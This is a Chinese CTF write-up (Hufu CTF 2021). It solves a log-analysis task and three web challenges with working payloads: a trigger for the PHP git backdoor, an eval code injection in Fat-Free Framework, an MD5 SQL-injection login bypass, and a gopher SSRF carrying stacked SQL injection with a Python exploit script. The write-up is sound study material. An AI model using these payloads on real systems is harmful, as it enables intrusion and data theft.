虎符CTF2021writeup

misc-你会日志分析吗

SQL时间注入日志,根据sleep(2)查看时间间隔确定字符

90,109,120,104,90,51,116,90,98,51,86,102,89,88,74,108,88,51,78,118,88,50,100,121,90,87,70,48,102,81,61,61

转换字符ZmxhZ3tZb3VfYXJlX3NvX2dyZWF0fQ==,然后base64解码得flag

web-签到

Description:

师傅们常说,要善于学习,细致入微;师傅们也常说,要善于分享,总结归纳。

hint:

2021年3月28日,PHP维护的官方Git服务器 git.php.net 被袭击,其Git仓库遭到恶意篡改。如果开发者使用这些遭到篡改的源代码进行网页的开发的话,网站就会在不知情的情况下被感染。

前两天p神小密圈里发过了,当时还没细看,没想到这就用上了。。。

https://www.sohu.com/a/458246348_120055360

payload

1
User-Agentt: zerodiumsystem('cat /flag');

web-unsetme

Description:

是缺陷还是漏洞呢。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php
// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
    trigger_error('PCRE version is out of date');

// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);

$f3->run();

对比官方index.php的内容可知这道题使用的是3.7版本,盲猜是最新的3.7.3版本,下源码审计。

网上可以找到一个关于clear函数命令执行的CVE,而在输入后会进入offsetunset函数,此时刚好触发clear函数。所以直接去审clear函数,发现存在eval的代码注入eval('unset('.$val.');');(530行),估计漏洞点就在这里。

首先实验eval('unset('.$a.');');得到payload:

1
?a=$DEBUG);?><?=`dir`;//

然后使用这个payload进入源码debug,发现还是无法成功闭合括号。这就涉及到框架如何处理输入的函数compile(240行),从clear函数调用compile函数代码$this->compile('@hive.'.$key, FALSE));开始分析compile函数,已知$evaluate变量值为false,就只取用前半段的正则处理部分拿到本地测试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$str = "@hive.\$DEBUG[]);?><?=`dir`;//";
preg_replace_callback(
	'/^@(\w+)((?:\..+|\[(?:(?:[^\[\]]*|(?R))*)\])*)/',
	function($expr) {
		// var_dump($expr);
		$str='$'.$expr[1];
		if (isset($expr[2]))
			$str.=preg_replace_callback(
				'/\.([^.\[\]]+)|\[((?:[^\[\]\'"]*|(?R))*)\]/',
				function($sub) {
					// var_dump($sub);
					$val=isset($sub[2]) ? $sub[2] : $sub[1];
					if (ctype_digit($val))
						$val=(int)$val;
					$out='['.var_export($val).']';
					// echo "\n\$out = ".$out."\n";
					return $out;
				},
				$expr[2]
			);
		// echo "\$str = ".$str."\n";
		return $str;
	},
	$str
);
?>

第一个正则部分很好理解,目的就是分离clear函数调用compile函数时添加的hive数组(个人认为变量后添加 . 就是为了方便正则匹配分离hive),方便后续使用键取值,然后就可以得到

1
2
3
4
5
6
7
8
array(3) {
  [0] =>
  string(29) "@hive.$DEBUG[]);?><?=`dir`;//"
  [1] =>
  string(4) "hive"
  [2] =>
  string(24) ".$DEBUG[]);?><?=`dir`;//"
}

接下来进行第二段正则,第一部分的正则是为了得到数组名hive,那么第二段就是为了修改字符串以符合[键]的格式,最后连接$hive完成取值,但是不完善的正则加上回调替换就导致了只有部分字符被修改成[键]的格式。以这样的理解去看这段正则就会简单许多,匹配的两部分分别是匹配.开头的字符直到遇到.[]其中一个字符停止匹配 [键] 格式出现的键

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
array(2) {
  [0] =>
  string(7) ".$DEBUG"
  [1] =>
  string(6) "$DEBUG"
}
'$DEBUG' # export函数输出
array(3) {
  [0] =>
  string(2) "[]"
  [1] =>
  string(0) ""
  [2] =>
  string(0) ""
}
'' # export函数输出
$hive['$DEBUG'][]);?><?=`dir`;// # 最后的拼接字符串

看到最后拼接字符串出现了一个疑问,既然第二部分只是为了修改成数组键格式,那为什么要使用[]

这是因为如果不添加[]就会导致\.([^.\[\]]+)匹配所有字符,所有字符都会被当成键,所以需要[]终止正则。

接着就出现第二个问题,既然.[]都拥有终止正则的作用,为什么要使用[]跟在$DEBUG后面?

情况一:使用 . \.([^.\[\]]+)会匹配\.之后的字符,所以后面的字符还是逃不了被当成键的命运;

情况二:使用 [] 会出现语法错误,具体什么错误懒得看,反正就是有错;

情况三:使用 [] 正常执行

至此,终极payload已然出炉:

1
?a=$DEBUG[]);?><?=`cat /f*`;//

web-“慢慢做”管理系统

Description:

这个sql吧,有点ssrf的样子,首页是一个很普通的sql注入,没有什么花样,但是我的admin.php是一个内网的管理系统,只要你用“真-admin”的密码登录了,就可以拿到flag,反正慢慢做就对了,不要急躁,静下心。

hint:

第一步登录的sql语句是"SELECT * FROM users WHERE password = '".md5($password,true)."' limit 0,1";

试了好久试不出来,结果登陆语句居然是这个。。。由于常用的ffifdyop被过滤,只能寻找其他的永真式,在文章https://blog.werner.wiki/php-md5-true-sqli/找到129581926211651571912466741651878684928成功登录。

登陆后跳转到ssrf.php且提示gopher协议,一开始以为是要SSRF打mysql获得密码后登录admin.php获取flag,但是用户密码库名都不知道,即使是无密码登录也没办法,后面发现是使用gopher进行SQL注入。

库结构

1
2
3
ctf => users => id,email,password
ctf2 => fake_admin => id,username,fake_password
     => real_admin_here_do_you_find => id,username,password

通过注入1'||1#可以发现当前表是ctf2.fake_admin,之后使用经典随便注的payload换表名。

1
2
# -1';RENAME TABLE `fake_admin` TO `tyskill`;RENAME TABLE `real_admin_here_do_you_find` TO `fake_admin`;#
gopher://127.0.0.1:80/_POST%20/admin.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%20166%0D%0A%0D%0Ausername%3D1%2527%253BRENAME%2520TABLE%2520%2560fake_admin%2560%2520TO%2520%2560tyskill%2560%253BRENAME%2520TABLE%2520%2560real_admin_here_do_you_find%2560%2520TO%2520%2560fake_admin%2560%253B%2523%26password%3D123

之后注入1'||1#获得admin_inner:5fb4e07de914cfc82afb44vbaf402203,最后一个脑洞:使用admin登陆而不是admin_inner,最后补一下Cookie即可。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*-coding-*-: utf-8
import requests
from urllib.parse import quote as urlencode

def Gopher(username, password="123"):
    PROTOCOL = "gopher://"
    IP = "127.0.0.1"
    PORT = "80"
    data = f"username={urlencode(username)}&password={urlencode(password)}"
    length = len(data)
    print(f"[+] request-length: {length}")
#     stream = f"""POST /admin.php HTTP/1.1
# Host: 127.0.0.1
# Content-Type: application/x-www-form-urlencoded
# Content-Length: {length}

# {data}""".replace("\n", "\r\n")
    stream = f"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=b7ps1amtt5310i3khma6qhcdi2; path=/
Content-Type: application/x-www-form-urlencoded
Content-Length: {length}

{data}""".replace("\n", "\r\n")
    payload = PROTOCOL + IP + ":" + PORT + "/_" + urlencode(stream)
    print("[+] payload: " + payload)
    return payload

if __name__ == '__main__':
    # Gopher("1';RENAME TABLE `fake_admin` TO `tyskill`;RENAME TABLE `real_admin_here_do_you_find` TO `fake_admin`;#")
    # Gopher("1'||1#")
    Gopher("admin","5fb4e07de914cfc82afb44vbaf402203")